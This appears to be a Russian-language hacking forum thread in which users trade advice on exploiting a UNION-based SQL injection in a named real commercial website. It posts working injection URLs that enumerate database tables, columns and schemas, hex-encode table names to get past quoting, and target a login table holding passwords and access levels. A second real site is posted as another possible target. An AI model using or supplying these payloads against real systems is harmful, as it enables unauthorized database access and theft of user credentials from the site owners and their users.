не придумывайте, если инъекция в select запросе, то в мускуле никакие update и иже с ними не используешь
зы про grant вобще отжиг

__________________
Карфаген должен быть разрушен...

Во, Скиппи за Велю )))))).Теперь как всегда вопрос :

Нашёл скулю(с кем не бывает,по сто за день: )).

Нашёл таблички:

http://www.mooreindhardware.com/products.php?id=-5+union+select+1,2,table_name,4+from+information_s chema.tables--

Нашёл колонки:

http://www.mooreindhardware.com/products.php?id=-5+union+select+1,2,column_name,4+from+information_ schema.columns--

К Mysql.user закрыт доступ, ибо не руткинс).

И ещё: как выполнить запросы,чтобы к конкретной таблице показать конкретные колонки ?(а то хрен разберёшь)). Там цифры стоят возле каждой таблицы (4 или 2 2 2 2 2 2 )Я так понял,это количество полей в каждой таблице.

А запрос похожий видел такой :

-1+union+select+1,2,table_name,4+from+information_s chema.tables+where+column_name=login_id--

(Бред какой-то имхо) (

Интересует, почему нету последних таблиц tbmember и tblogin(долго парился,перебирая имена).Таблицы с префиксом tbl существуют, но колонки от них не подходят(я не все перебрал).Просто колонка member_id по логике должна быть в tbmember. Что за бред?! (

Велемир из твоего поста понял процентов 10, а вообще:
такого запроса ты видеть не мог, т.к он нарушает синтаксис, очевидно login_id должно быть в hex либо к кавычках при маджик_квотс_гпс= Офф

column_name+from+information_schema.columns+where+ table_name=hex(что -то)

Врят ли это колличество полей в таблице xD, видмо просто принтабельные колонки

__________________

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ

Ну а почему тогда tbmember,tblogin не существуют - это не таблицы чтоли ?(.

Кстати, если выполнить как ты сказал hex(abrakadabra), где абракадабра - имя таблицы,то вернёт 'Item comming soon',а если выполнить запрос сразу *хексанутый*, то выведет :

http://www.mooreindhardware.com/products.php?id=-1+union+select+1,2,column_name,4+from+information_ schema.columns+where+table_name=0x74626C5F70686F74 6F67616C6C657279--

0x74626C5F70686F746F67616C6C657279 - это tbl_photogallery.

P.S: При запросе http://www.mooreindhardware.com/products.php?id=-1+union+select+1,2,column_name,4+from+information_ schema.columns+where+table_name=0x74626C6F67696E-- ,где
0x74626C6F67696E - это tbmember, вернуло поля

login_id,login,password,user_name,access_level

Но при запросе

http://www.mooreindhardware.com/products.php?id=-1+union+select+1,2,user_name,4+from+tblogin--

Выдаёт,что таблица не найдена. Как тут быть ?( В Hex пробывал

Велемир
Когда ты прочитаешь хоть одну статью по скулям?
Эта таблица в другой базе
И предполагая твой следующий вопрос:

база test_sql

Вот вывод всех баз:
_http://www.mooreindhardware.com/products.php?id=-5+union+select+1,2,schema_name,3+from+information_ schema.schemata--

эньекция? http://www.line-age.ru/statistics.php?show_page=show_clan_info&indx=-1

не так выразился ..

159932, и что по твоему в этом странного?

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

159932, http://ru2.php.net/manual/ru/book.mssql.php